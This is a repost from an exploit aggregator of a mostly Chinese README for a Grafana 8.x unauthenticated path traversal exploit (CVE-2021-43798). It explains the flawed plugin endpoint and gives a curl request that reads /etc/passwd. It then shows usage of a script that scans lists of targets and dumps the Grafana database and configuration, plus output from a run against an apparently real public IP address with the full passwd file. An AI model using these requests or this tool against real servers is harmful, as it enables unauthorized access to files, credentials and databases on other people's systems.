Sploitus

Exploit for CVE-2021-43799 CVE-2021-43798 CVE-2021-43799

kitploit · 2026-09-01

Exploit Code

MARKDOWN146 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SCOPION-CVE-2021-43799
# CVE-2021-43798

Grafana 8.x 路径遍历(未授权) 所有功劳归功于 j0v 及其推文 https://twitter.com/j0v0x0/status/1466845212626542607

## 免责声明

本内容仅供教育用途。我不会为你的行为承担任何责任。请自行斟酌使用。 本着善意,我一直推迟发布此 PoC,直到该漏洞公开或补丁可用为止。

## 目录

  * 说明 \- 解释该漏洞
  * 攻击向量 \- 可以实施的攻击列表
  * 利用脚本 \- 利用脚本的使用说明



## 说明

我注意到 j0v 的推文,声称发现了 Grafana 路径遍历漏洞。出于好奇,我开始查看 Grafana 的源代码。推文中提到这是一个未授权(pre-auth)漏洞。Grafana 只有少数公共 API 端点,而其中只有一个会接收用户提供的文件路径。 Grafana 有一个公共 API 端点 `/public/plugins/:pluginId`,允许你查看插件的资源。其原理是提供一个有效的 `:pluginId`,然后指定文件路径,例如 `img/logo.png`。然而,Grafana 未能对用户提供的文件路径进行清洗,导致路径遍历漏洞。 被访问的目录位于 `<grafana>/public/app/plugins/panel/<pluginId>`。在标准 Grafana 安装中,Grafana 数据目录为 `/usr/share/grafana`。因此,只要向上回溯 8 个目录,就可以到达文件系统根目录。 HTTP 请求:

root@kitploit:~
    
    
    GET -  http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
    

问题代码:https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284 **注意:这在浏览器中无效(浏览器会自动折叠路径中的`../`)** 可以使用 curl 并通过 `--path-as-is` 参数进行测试:

root@kitploit:~
    
    
    curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
    

## 帮助:

root@kitploit:~
    
    
    usage: exploit2.py [-h] [-l INPUT_LIST] [-db] [-cfg] [-c] [-t TARGET] [-f TARGET_FILE] [-w WRITE_FILE] [-v]
    
    optional arguments:
      -h, --help            show this help message and exit
      -l INPUT_LIST, --list INPUT_LIST
                            Input list of ip:port
      -db, --database       Dump db
      -cfg, --config        Dump config
      -c, --check           Enable output regex checking (Suppress false positives)
      -t TARGET, --target TARGET
                            Single target
      -f TARGET_FILE, --file TARGET_FILE
                            Remote target file
      -w WRITE_FILE, --write WRITE_FILE
                            Directory to write files to.
      -v, --verbosity       Verbosity
    
    

## 获取文件:

root@kitploit:~
    
    
    ./exploit.py -f /etc/passwd -l targets.list
    

## 导出数据库:

root@kitploit:~
    
    
    ./exploit.py -f /etc/passwd -l targets.list -db
    

导出配置:

root@kitploit:~
    
    
    ./exploit.py -f /etc/passwd -l targets.list -cfg
    

## 其他选项:

仅打印有效文件:

root@kitploit:~
    
    
    python3 exploit2.py -t http://50.17.123.83:3000 -c
    URL: passwd
    PATH: /public/plugins/alertlist/../../../../../../../..//etc/passwd
    http://50.17.123.83:3000/public/plugins/alertlist/../../../../../../../..//etc/passwd
    Status: 200
    Content-type:text/plain; charset=utf-8
    SUCCESS: http://50.17.123.83:3000
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
    systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
    systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
    messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
    syslog:x:104:110::/home/syslog:/usr/sbin/nologin
    _apt:x:105:65534::/nonexistent:/usr/sbin/nologin
    tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
    uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
    tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
    sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
    landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
    pollinate:x:111:1::/var/cache/pollinate:/bin/false
    ec2-instance-connect:x:112:65534::/nonexistent:/usr/sbin/nologin
    systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
    ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
    lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
    node-exp:x:997:100::/:/usr/sbin/nologin
    prometheus:x:996:997::/var/lib/prometheus:/usr/sbin/nologin
    alertmanager:x:995:996::/home/alertmanager:/usr/sbin/nologin
    grafana:x:113:119::/usr/share/grafana:/bin/false
    am-bot:x:994:995::/opt/alertmanager_bot:/usr/sbin/nologin
    blackbox-exp:x:993:994::/home/blackbox-exp:/usr/sbin/nologin
    pushgateway:x:992:100::/:/usr/sbin/nologin
    

将文件写入 files 目录:

root@kitploit:~
    
    
    python3 exploit2.py -t http://50.17.123.83:3000 -c -w files